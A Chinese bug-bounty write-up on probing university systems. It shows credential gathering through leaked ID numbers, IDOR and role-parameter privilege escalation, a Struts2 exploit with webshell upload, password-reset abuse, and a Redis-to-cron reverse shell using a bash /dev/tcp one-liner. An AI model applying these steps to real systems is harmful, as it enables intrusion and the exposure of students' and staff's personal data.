经验分享 | 一些个人的edusrc小白经验

admin 2021年9月4日06:11:08评论179 views字数 2512阅读8分22秒阅读模式


这是F12sec的第66篇原创 


申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!

ps:本文来自团队师傅白龙哥哥,转载请注明来源。

1.挖掘姿势

第一阶段开始那自然是信息收集


有账号进到系统里测试比较容易测出漏洞。

所以先找到账号,学号很好找,关键是密码,密码有很多学校是使用身份证后六位,找密码也分成两种方式:

一种是泄露部分的身份证后几位,然后通过爆破测出密码;另一种是固定的默 认密码

举个第二种的例子

百度语法挑选合适的目标 site:.edu.cn 默认密码 找到一个挺不错的。

经验分享 | 一些个人的edusrc小白经验

可以进这个系统看看有没有更多的信息进一步信息收集。

然后就是找留学生的学号了,可以去有关国际的学院找学号了 或者百度语法site:xxx.edu.cn 留学生 学号 还可以加点限定词方便找到自由发挥 我用找到的留学生学号登录系统。

经验分享 | 一些个人的edusrc小白经验


没啥有用信息 但是看到url中的userid,想着改一下参数值能不能越权到其他账号,结果还真可以

经验分享 | 一些个人的edusrc小白经验

收集到的信息就多了起来,这也算信息泄露+越权了,有身份证就可以登录其它系统看看了。这里就不继续下去了。 

第二阶段就是有了可以登录的账号登陆门户进入更多的系统测试。

登录门户后能测试的站点也多了,具体怎么测试还得看是什么系统。

我也是举个例子 以学生权限登录,进到门户我是想着挖一些信息泄露顺便看看能不能找到其他账号。

比如老师或者研究 生,因为多个研究生系统可以进 在办公系统的一处发送消息可以选择对象,选择对象似乎有全校师生的学号和工号,一看都是学号,但是按账号排序后出现大量身份证和姓名,也算个信息泄露了 有了这个就差学号或者工号就可以组合成新的账户登录。

经验分享 | 一些个人的edusrc小白经验

本来还想着爆破的,但是在另一个系统里居然还有个查询人员的功能

经验分享 | 一些个人的edusrc小白经验于是通过之前得到的教师姓名查询,果然能查到工号

经验分享 | 一些个人的edusrc小白经验
然后工号和身份证组合成新账户登录,也能成功登录到教师权限的账号,没想到还有登录研究生系统的权限

经验分享 | 一些个人的edusrc小白经验点击右上角可以切换角色,这时候抓包修改数据可以越权到管理员权限

经验分享 | 一些个人的edusrc小白经验

修改成1后放包后就到管理员身份了

经验分享 | 一些个人的edusrc小白经验


第三阶段就是登录SSLVPN进内网

进入内网一开始还是信息收集,主要是收集网段信息,找到存活站点 确定网段可以翻翻百度谷歌语有时候还是能找到有用信息,比如

经验分享 | 一些个人的edusrc小白经验

语法也是site:.xxx.edu.cn 内网(或者用内网网段开头例如192.168

也可以用子域名挖掘机看看子域名,有时候也会返回内网ip。

如果收集不到网段信息就只能遍历扫内网网段了

确定网段后就可以利用工具扫描C段或者B段,扫描的端口看个人习惯设置 扫出站点后就可以测了,有些地方内网安全意识比较薄弱,大意了就可能会存在一些比较不应该的漏洞,就可以上一些漏扫工具。

比如goby,顺便说一下goby有一个比较方便的功能能看站点页面截图


经验分享 | 一些个人的edusrc小白经验


可以看看扫出来的站点主页面是什么样的方便选择.

举几个例子在内网遇到的漏洞 1、一个是用goby扫出个struts2的漏洞直接上工具

经验分享 | 一些个人的edusrc小白经验权限一上来就是最高权限,目录也出来了直接传个哥斯拉马

经验分享 | 一些个人的edusrc小白经验

连接就行了

经验分享 | 一些个人的edusrc小白经验

2、密码重置

发现一个系统

经验分享 | 一些个人的edusrc小白经验


手工测了一波弱口令找不到密码,然后注册用户时输入admin显示占用,那就到找回密码出有没有什么突破口 看到找回密码的问题是我的名字

经验分享 | 一些个人的edusrc小白经验

我返回到上面账号验证那步输入好用户名和验证码后开启抓包,放包到下图这个包时看到有个getxinxibyuserid,然后发送到重发包

经验分享 | 一些个人的edusrc小白经验

巧了这时候能看到管理员的信息 里面正好有个XingMing,和我一样是拼音佬

经验分享 | 一些个人的edusrc小白经验

在密保问题里赶紧写上然后找回密码,但是结果是重置的密码发到邮箱里了于是重来了一遍到这个包时看到Email,改成自己的邮箱然后放包,但是一直没有收到邮件好像没有用

经验分享 | 一些个人的edusrc小白经验

但是转念一下密码重置了应该会是默认的然后试了一下弱口令发现admin/123456登陆成功

经验分享 | 一些个人的edusrc小白经验3、redis未授权计划任务反弹shell 

用工具扫描网段时看到有个ip开了6379端口,马上想到了redis未授权漏洞 

赶紧到github下了个redis连接工具,连上之后get dir了一下能执行,看起来有戏

连接:redis-cli -h ip获取路径:get dir

经验分享 | 一些个人的edusrc小白经验

在自己的有公网ip的服务器上监听端口

nc -lvvnp 8888

经验分享 | 一些个人的edusrc小白经验

顺便提一下一般是-lvp就行了但是我这个阿里云的服务器会报错,百度了一下加了个参数n就可以了

经验分享 | 一些个人的edusrc小白经验

继续回到redis连接上,将反弹shell语句写入参数x,x是自己设置的 然后修改目录为计划任务目录修改文件名为root然后保存

set xx "n* * * * * bash -i >& /dev/tcp/ip/端口 0>&1n" (ip写自己服务器的ip,端口写自己监听的端口)config set dir /var/spool/cron/config set dbfilename rootsave

经验分享 | 一些个人的edusrc小白经验

过了一分钟左右vps就来shell了

经验分享 | 一些个人的edusrc小白经验


这个测完记得把弹shell的计划任务删了

crontab -l

可以查看计划任务

crontab -e

可以修改计划任务 

我是检查/var/spool/cron/root文件内容是否只有我写的计划任务


nc -lvvnp 8888set xx "n* * * * * bash -i >& /dev/tcp/ip/端口 0>&1n" (ip写自己服务器的ip,端口写自己监听的端口)config set dir /var/spool/cron/config set dbfilename rootsave

确认无误后我就把文件删除了 最后再crontab -l检查一下

——————————————————————————
  • 往期精彩推荐

❤️爱心三连击

1.关注公众号「F12sec」

2.本文已收录在F12sec官方网站:http://www.0dayhack.net/

3.看到这里了就点个关注支持下吧,你的「关注」是我创作的动力。

经验分享 | 一些个人的edusrc小白经验
经验分享 | 一些个人的edusrc小白经验


公众号:F12sec

QQ群:884338047

官方网站:http://www.0dayhack.net/

这是一个终身学习的团队,他们在坚持自己热爱的事情,欢迎加入F12sec,和师傅们一起开心的挖洞~

        关注和转发是莫大鼓励❤️




本文始发于微信公众号(F12sec):经验分享 | 一些个人的edusrc小白经验

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月4日06:11:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   经验分享 | 一些个人的edusrc小白经验https://cn-sec.com/archives/430533.html

发表评论

匿名网友 填写信息